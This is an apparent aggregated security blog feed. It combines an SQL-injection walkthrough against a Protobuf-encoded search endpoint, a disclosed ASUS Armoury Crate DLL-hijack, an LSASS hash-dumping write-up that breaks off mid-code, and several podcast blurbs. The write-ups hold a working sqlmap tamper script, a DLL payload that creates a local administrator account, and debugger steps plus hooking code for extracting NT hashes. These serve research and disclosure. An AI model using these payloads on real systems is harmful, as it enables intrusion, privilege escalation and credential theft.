Protobuf is a data serialization format released by Google in 2008. Differently from other formats like JSON and XML, Protobuf is not human friendly, due to the fact that data is serialized in a binary format and sometimes encoded in base64. Protobuf is a format developed to improve communication speed when used in conjunction with gRPC (more on that in a moment). This is a data exchange format originally developed for internal use as an open source project (partially under the Apache 2.0 license). Protobuf can be used by application written in various programming languages, such as C#, C++, Go, Objective-C, Javascript, Java etc… Protobuf is used, among other things, in combination with HTTP and RPC (Remote Procedure Calls) for local and remote client-server communication, in particular for the description of the interfaces needed for this purpose. The protocol suite is also defined by the acronym gRPC.

For more information regarding Protobuf our best advice is to read the official documentation.

Step 1 - Playing with Protobuf: Decoding

Okay, so… our application comes with a simple search form that allows searching for products within the database.

brodobuf0

Searching for “tortellini”, we obviously get that the amount is 1337 (badoom tsss):

brodobuf1

Inspecting the traffic with Burp we notice how search queries are sent towards the /search endpoint of the application:

request0

And that the response looks like this:

request1

At first glance, it might seem that the messages are simply base64 encoded. Trying to decode them though we noticed that the traffic is in binary format:

term0

elliot0

Inspecting it with xxd we can get a bit more information.

term1

To make it easier for us to decode base64 and deserialize Protobuf, we wrote this simple script:

#!/usr/bin/python3

import base64
from subprocess import run, PIPE

while 1:
    try:
        decoded_bytes = base64.b64decode(input("Insert string: "))[5:]
        process = run(['protoc', '--decode_raw'], stdout=PIPE, input=decoded_bytes)

        print("\n\033[94mResult:\033[0m")
        print (str(process.stdout.decode("utf-8").strip()))
    except KeyboardInterrupt:
        break

The script takes an encoded string as input, strips away the first 5 padding characters (which Protobuf always prepends), decodes it from base64 and finally uses protoc (Protobuf’s own compiler/decompiler) to deserialize the message.

Running the script with our input data and the returned output data we get the following output:

term2

As we can see, the request message contains two fields:

  • Field 1: String to be searched within the database.
  • Field 2: An integer always equivalent to 0 Instead, the response structure includes a series of messages containing the objects found and their respective amount.

Once we understood the structure of the messages and their content, the challenge is to write a definition file (.proto) that allows us to get the same kind of output.

Step 2 - Suffering with Protobuf: Encoding

After spending some time reading the python documentation and after some trial and error we have rewritten a message definition similar to those that our target application should use.

syntax = "proto2";
package searchAPI;

message Product {

        message Prod {
                required string name = 1;
                optional int32 quantity = 2;
        }

        repeated Prod product = 1;
}

the .proto file can be compiled with the following command:

protoc -I=. --python_out=. ./search.proto

As a result we got a library to be imported in our code to serialize/deserialize our messages which we can see in the import of the script (import search pb2).

#!/usr/bin/python3

import struct
from base64 import b64encode, b64decode
import search_pb2
from subprocess import run, PIPE

def encode(array):
    """
    Function to serialize an array of tuples
    """
    products = search_pb2.Product()
    for tup in array:
        p = products.product.add()
        p.name = str(tup[0])
        p.quantity = int(tup[1])

    serializedString = products.SerializeToString()
    serializedString = b64encode(b'\x00' + struct.pack(">I", len(serializedString)) + serializedString).decode("utf-8")

    return serializedString

test = encode([('tortellini', 0)])
print (test)

The output of the string “tortellini” is the same of our browser request, demonstrating the encoding process worked properly.

term3

Step 3 - Discovering the injection

To discover the SQL injection vulnerability we opted for manual inspection. We decided to send the single quote ‘ in order to induce a server error. Analyzing the web application endpoint:

http://brodostore/search/PAYLOAD

we could guess that the SQL query is something similar to:

SELECT id, product, amount FROM products WHERE product LIKE %PAYLOAD%;

It means that injecting a single quote within the request we could induce the server to process the wrong query:

SELECT id, product, amount FROM products WHERE product LIKE %%;

and then producing a 500 server error. To manually check this we had to serialize our payload with the Protobuf compiler and before sending it encode it in base64. We used the script from step 2 by modifying the following lines:

test = encode([("'", 0)])

after we run the script we can see the following output:

term4

By sending the generated serialized string as payload to the vulnerable endpoint:

request2

the application returns HTTP 500 error indicating the query has been broken,

request3

Since we want to automate the dump process sqlmap was a good candidate for this task because of its tamper scripting features.

Step 4 - Coding the tamper

Right after we understood the behaviour of Protobuf encoding process, coding a sqlmap tamper was a piece of cake.

#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY

import base64
import struct
import search_pb2

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        # Instantiating objects
        products = search_pb2.Product()
        
        p = products.product.add()
        p.name = payload
        p.quantity = 1

        # Serializing the string
        serializedString = products.SerializeToString()
        serializedString = b'\x00' + struct.pack(">I",len(serializedString)) + serializedString

        # Encoding the serialized string in base64
        b64serialized = base64.b64encode(serializedString).decode("utf-8")
        retVal = b64serialized

    return retVal

To make it work we moved the tamper in the sqlmap tamper directory /usr/share/sqlmap/tamper/ along with the Protobuf compiled library.

Here the logic behind the tamper workings:

logic0

Step 5 - Exploiting Protobuf - Control is an illusion

We intercepted the HTTP request and we added the star to indicate to sqlmap where to inject the code.

GET /search/* HTTP/1.1
Host: brodostore
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

anon0

After we saved the request in the test.txt file, we then run sqlmap with the following command:

sqlmap -r test.txt --tamper brodobug --technique=BT --level=5 --risk=3

sqlmap0

Why is it slow?

Unfortunately sqlmap is not able to understand the Protobuf encoded responses. Because of that we decided to take the path of the Boolean Blind SQL injection. In other words we had to “bruteforce” the value of every character of every string we wanted to dump using the different response the application returns when the SQLi succeeds. This approach is really slow compared to other SQL injection technique, but for this test case it was enough to show the approach to exploit web applications which implement Protobuf. In the future, between one plate of tortellini and another we could decide to implement mechanism that decode the responses via the *.proto struct and then expand it to other attack paths… but for now we are satisfied with that!

✇ Infosec Resources

How to learn web application security | Cyber Work Podcast

By: Infosec

On today’s podcast, Infosec Skills author Ted Harrington talks about authoring a recent Infosec Skills learning path, “How To Do Application Security Right,” which is also the subtitle of his recent book, “Hackable: How To Do Application Security Right.” Harrington shares his application security expertise, or AppSec, the benefits of skills-based learning, and what it was like to hack the iPhone. 

– Join the monthly challenge: https://www.infosecinstitute.com/challenge  
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Hacking the iPhone 
8:30 - IOT security 
14:00 - “Hackable” book 
17:14 - Using the book as a roadmap
18:42 - Most important skills right now
21:45 - Taking Harrington’s class
24:40 - Demystifying application security
26:48 - Career opportunities
28:26 - Roadblocks in application security
30:55 - Education tips for application security
33:40 - Benefits of skills-based education
37:21 - The skills gap and hiring process
41:19 - Tips for lifelong learners
43:43 - Harrington’s next projects
44:33 - Cybersecurity’s education’s future
45:38 - Connect with Harrington 
46:50 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

How to become a secure coder | Cyber Work Podcast

By: Infosec

On today’s podcast Infosec Skills author Chrys Thorsen talks about founding IT Without Borders, a humanitarian organization built to empower underserved communities through capacity building information and communications technology (ICT) skills and information access. She’s also a consultant and educator. And, for our purpose, she is the author of several learning paths on our Infosec Skills platform. She has written course paths for Writing Secure Code in Android and Writing Secure Code in iOS, as well as a forthcoming CertNexus Cyber Secure Coder path.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge 
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
2:43 - Thorsen’s origin story in cybersecurity 
4:53 - Gaining about 40 certifications
6:20 - Cross certification knowledge
7:25 - Great certification combos 
8:45 - How useful are certifications?
11:12 - Collecting certifications
13:01 - Changing training landscape
14:20 - How teaching changed
16:36 - In-demand cybersecurity skills
17:48 - What is secure coding?
19:34 - Secure coders versus coders 
20:31 - Secure coding in iOS versus Android 
22:39 - CertNexus secure coder certification
24:13 - Secure coding before coding 
24:42 - Secure coding curriculum 
26:27 - Recommended studies post secure coding
26:50 - Benefits to skills-based education
27:43 - Tips for lifelong learning
29:29 - Cybersecurity education’s future 
30:54 - IT Without Borders
33:38 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Sec Team Blog

Internal security recommendations survey

By: Alain Mowat

During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.

The survey

Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.

In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.

I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.

Results

Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:

  1. Network isolation (173)
  2. Security patching (107)
  3. Configurations hardening (100)
  4. Limit external exposure (97)
  5. SIEM/SOC (95)
  6. Awareness training (95)
  7. Audit (89)
  8. Multi-factor authentication (87)
  9. Privileged access management (82)
  10. Backups (49)
  11. EDR/AV (45)
  12. LAPS (41)
  13. Robust password policy (40)
  14. DMZ (37)
  15. WAF (37)
    […]
  16. Contact SCRT 😉 (22 points)

If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.

  1. Network isolation (25)
  2. SIEM/SOC (22)
  3. Audit (22)
  4. Security patching (20)
  5. Configurations hardening (20)
  6. Awareness training (15)
  7. Privileged access management (14)
  8. Multi-factor authentication (14)
  9. Limit external exposure (11)
  10. EDR/AV (9)
  11. Robust password policy (8)
  12. LAPS (7)
  13. Backups (7)
  14. Bitlocker (6)
  15. Physical access (5)
    […]
  16. Contact SCRT 😉 (4)

Discussion

The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.

I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.

When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.

Wrapping things up

Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:

  • Prevent the initial intrusion
  • Detect the intrusion
  • Limit its propagation
  • Protect/preserve sensitive data
  • Manage risk

There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.

✇ Infosec Resources

Learning Linux is key to building your cybersecurity skills | Cyber Work Podcast

By: Infosec

On today’s podcast Jasmine Jackson takes us through how you can get noticed on your resume, how Linux basics can set you up for learning other aspects of cybersecurity, and how capture the flag activities are crucial to enriching your work skills. Jackson has over 10 years of information security experience and shares her passion for cybersecurity by presenting and teaching workshops, including new courses now available in Infosec Skills. She is currently the Jeopardy-style capture the flag (CTF) coach for the inaugural U.S. Cyber Games and works as a senior application security engineer for a Fortune 500 company. 

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro
3:08 - Jasmine Jackson’s origin story
4:25 - Winning a computer
6:22 - Jackson’s career path
13:46 - Thoughts on certifications 
19:10 - Ideal job description 
21:01 - Most important cybersecurity skills 
22:54 - Linux fundamentals class
25:07 - What does knowing Linux do for you?
26:35 - How to build upon a Linux foundation
28:51 - Benefits to skills training
29:50 - Tips for lifelong learning
31:30 - Coaching in the U.S. Cyber Games
34:26 - How are team members chosen for the games?
37:47 - An intriguing CTF puzzle 
41:43 - Where is cybersecurity education heading?
43:36 - Learn more about Jackson
46:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Cryptography, encryption and building a secure photo app | Cyber Work Podcast

By: Infosec

Today's guest is Alex Amiryan, a software developer with over 18 years of experience specializing in cybersecurity and cryptography. Alex is the creator of the popular SafeCamera app, which was the predecessor of Stingle Photos, an end-to-end encrypted, open-source gallery and sync app able to prevent theft by breach. How does it work, and how did Alex come by his obsession for cryptography? Tune in and find out!

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
1:41 - Origin story in cybersecurity
3:38 - Running afoul of the law
4:44 - Beginning your own company
7:10 - Advice on starting a business
9:15 - What is Stingle Photos? 
12:30 - End-to-end encryption
15:20 - Black box storage
17:47 - Encryption safety
19:01 - Preventing photo theft
22:20 - Working in encryption and cryptography
24:24 - Skills needed for encryption and cryptography
26:43 - An "aha" moment 
28:00 - Cryptographer job market 
29:45 - Next steps in cryptography
35:52 - Learn more about Stingle Photos
36:28 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Saving McDonald’s from a possible data breach | Cyber Work Podcast

By: Infosec

This week we chat with Connor Greig of CreatorSphere (creatorsphere.co) about beginning a career in IT at age 17 when he joined Hewlett Packard as an applications engineer, but after just a few weeks was promoted to project manager. He went on to work on secure projects for the British government and was a project manager for secure cloud computing and software development modernization during the WannaCry, Spectre and Meltdown vulnerabilities that were found.

– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
3:00 - Origin story
4:58 - Getting into IT
8:53 - Being scouted by HP at 17
11:34 - What did HP see in you?
15:42 - Working with the British government
17:49 - Being fast on your feet
19:51 - Area of specialty 
21:30 - Balancing work and management
25:25 - Saving McDonald's from a data breach
31:58 - McDonald's reaction 
38:56 - Starting your own company
45:25 - Advice for starting your own company
49:15 - How to learn new concepts and skills
53:15 - What's it like being a gay man in cybersecurity?
55:30 - Making cybersecurity more welcoming 
58:15 - Cybersecurity career advice
1:00:33 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

Stealing weapons from the Armoury

By: ["last"]

armoury pwnd

TL;DR

ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10.

Introduction

Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.

By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.

such gaming much 0days gif

Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.

At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe and its child ArmouryCrate.UserSessionHelper.exe. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.

armourycrate arch

It’s hunting season

Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:

  1. Look for CreateFile operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code;
  2. Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
  3. Make sure we can write to - or create the - path from which the DLL is loaded;
  4. Profit!

Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter... and add the following filters:

  • Operation - is - CreateFile - Include
  • Result - contains - not found - Include
  • Result - contains - no such - Include
  • Path - ends with - .dll - Include
  • Integrity - is - System - Include
  • Integrity - is - High - Include

procmon filters

Once you have done that, go back to the menu bar, then Filter->Save Filter... so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter. Now we should see only potential phantom hijackings.

armoury missing DLL

In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\, a thing that happens instead for subfolders of C:\Program Files\. This means there’s a high probability C:\ProgramData\ subfolders will be writable by unprivileged users.

To make sure the CreateFile operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack tab to check the sequence of function calls which lead to the CreateFile operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW:

armoury crate loadlibrary

To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl cmdlet this way:

Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *

This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString tells us BUILTIN\Users have write access to the directory:

armoury acls

A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security tab, click on Advanced, switch to the Effective Access tab, select a user and then click on View effective access. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.

armoury acls gui

Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib we just have to compile a DLL named .DLL and drop it there. We will go with a simple DLL which will add a new user to the local administrators:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
    system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
    return TRUE;
}

Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.

Root cause analysis

Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll, at offset QueryLibrary + 0x167d which is actually another function I renamed DllLoadLibraryImplement (by reversing GameBoxPlugin.dll with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW:

ida call

We have two culprits here:

  1. A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
  2. The ACL of C:\ProgramData\ASUS\GamingCenterLib\ are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again as ArmouryCrate.UserSessionHelper.exe now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard ??????.DLL as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL of C:\ProgramData\ASUS\GamingCenterLib\ in order to give access to the whole directory tree only to members of the Administrators group.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/09/06: vulnerability reported to ASUS via their web portal;
  • 2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
  • 2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
  • 2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
  • 2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;

Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, last out!

✇ Infosec Resources

Inside the Security Yearbook: Industry trends, career advice and more! | Cyber Work Podcast

By: Infosec

Security Yearbook creator Richard Stiennon joins today’s podcast to share his career journey. He talks about creating the first ISP in the Midwest in the ‘90s, the role of the Security Yearbook in telling the history of cybersecurity and the best place to start your cybersecurity career. Hint: It’s not necessarily with the big firms!

– Save 50% on your copy of the Security Yearbook with code "infoseclive": https://it-harvest.com/shop
– Join the monthly challenge: https://www.infosecinstitute.com/challenge
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Infosec Skills Monthly Challenge
0:50 - Intro 
2:50 - How Richard got started in cybersecurity
7:22 - Penetration testing in the ‘90s
10:17 - Working as a research analyst
14:39 - How the cyberwar landscape is changing
19:33 - Skills needed as a cybersecurity researcher
20:30 - Launching the Security Yearbook
27:20 - Security Yearbook 2021 
29:00 - Importance of cybersecurity history
30:48 - How do cybersecurity investors see the industry
34:08 - Impact of COVID-19 and work from home
35:50 - Using the Security Yearbook to guide your career
40:38 - How cybersecurity careers are changing
43:29 - Current pentesting trends 
47:06 - First steps to becoming a research analyst
48:20 - Plans for Security Yearbook 2022
50:20 - Learn more about Richard Stiennon
51:09 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

Diversity, equity and inclusion in cybersecurity hiring | Cyber Work Live

By: Infosec

Cybersecurity hiring managers, and the entire cybersecurity industry, can benefit from recruiting across a wide range of backgrounds and cultures, yet many organizations still struggle with meaningfully implementing effective diversity, equity and inclusion (DEI) hiring processes.

Join a panel of past Cyber Work Podcast guests as they discuss these challenges, as well as the benefits of hiring diversely:
– Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack
– Mari Galloway, co-founder of Women’s Society of Cyberjutsu
– Victor “Vic” Malloy, General Manager, CyberTexas

This episode was recorded live on August 19, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/

The topics covered include:
0:00 - Intro
1:20 - Meet the panel
3:28 - Diversity statistics in cybersecurity
4:30 - Gene on HR's diversity mindset
5:50 - Vic's experience being the "first"
10:00 - Mari's experience as a woman in cybersecurity
12:22 - Stereotypes for women in cybersecurity
15:40 - Misrepresenting the work of cybersecurity
17:30 - HR gatekeeping and bias
25:56- Protecting neurodivergent employees
31:15 - Hiring bias against ethnic names
37:57 - We didn't get any diverse applicants!
43:20 - Lack of developing new talent
46:48 - The skills gap is "nonsense"
49:41- Cracking the C-suite ceiling
53:56 - Visions for the future of cybersecurity
58:15 - Outro

– Join the Infosec Skills monthly challenge: https://www.infosecinstitute.com/challenge

– Download our developing security teams ebook: https://www.infosecinstitute.com/ebook

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ APT::WTF - APTortellini’s blog

Taking a detour inside LSASS

By: ["last"]

TL;DR

This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate, exported by NtlmShared.dll. If you hook MsvpPasswordValidate you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.

Introduction

Last August FuzzySec tweeted something interesting:

fuzzysec tweet

Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.

Confirming the information

To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:

!process 0 0 lsass.exe

process command

Once the _EPROCESS address is found we have to switch WinDbg’s context to the target process (your address will be different):

.process /i /p /r ffff8c05c70bc080

process command 2

Remember to use the g command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate:

.reload /user
bp NtlmShared!MsvpPasswordValidate

We can make sure our breakpoint has been set by using the bl command:

bl command

Before we go on however we need to know what to look for. MsvpPasswordValidate is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:

BOOLEAN __stdcall MsvpPasswordValidate (
     BOOLEAN UasCompatibilityRequired,
     NETLOGON_LOGON_INFO_CLASS LogonLevel,
     PVOID LogonInformation,
     PUSER_INTERNAL1_INFORMATION Passwords,
     PULONG UserFlags,
     PUSER_SESSION_KEY UserSessionKey,
     PLM_SESSION_KEY LmSessionKey
);

What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION structure, whose first member is the NT hash we are looking for:

typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
   ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
   ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
   unsigned char NtPasswordPresent;
   unsigned char LmPasswordPresent;
   unsigned char PasswordExpired;
 } SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;

As MsvpPasswordValidate uses the stdcall calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g once more in our debugger and attempt a login through the runas command:

runas command

And right there our VM froze because we hit the breakpoint we previously set:

breakpoint hit

Now that our CPU is where we want it to be we can check the content of R9:

db @r9

db command

That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06, so the extracted value is the correct one.

Writing the DLL

Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository. The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate, jump to a rogue routine which we will call HookMSVPPValidate and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate will return to the legitimate MsvpPasswordValidate and continue the execution flow transparently for the calling process. Complex? Not so much actually.

Hppdll.h

We start off by writing the header all of the code pieces will include:

#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN

// uncomment the following definition to enable debug logging to c:\debug.txt
#define DEBUG_BUILD

#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"

// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif

// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
	class Library
	{
	public:
		Library(std::wstring input);
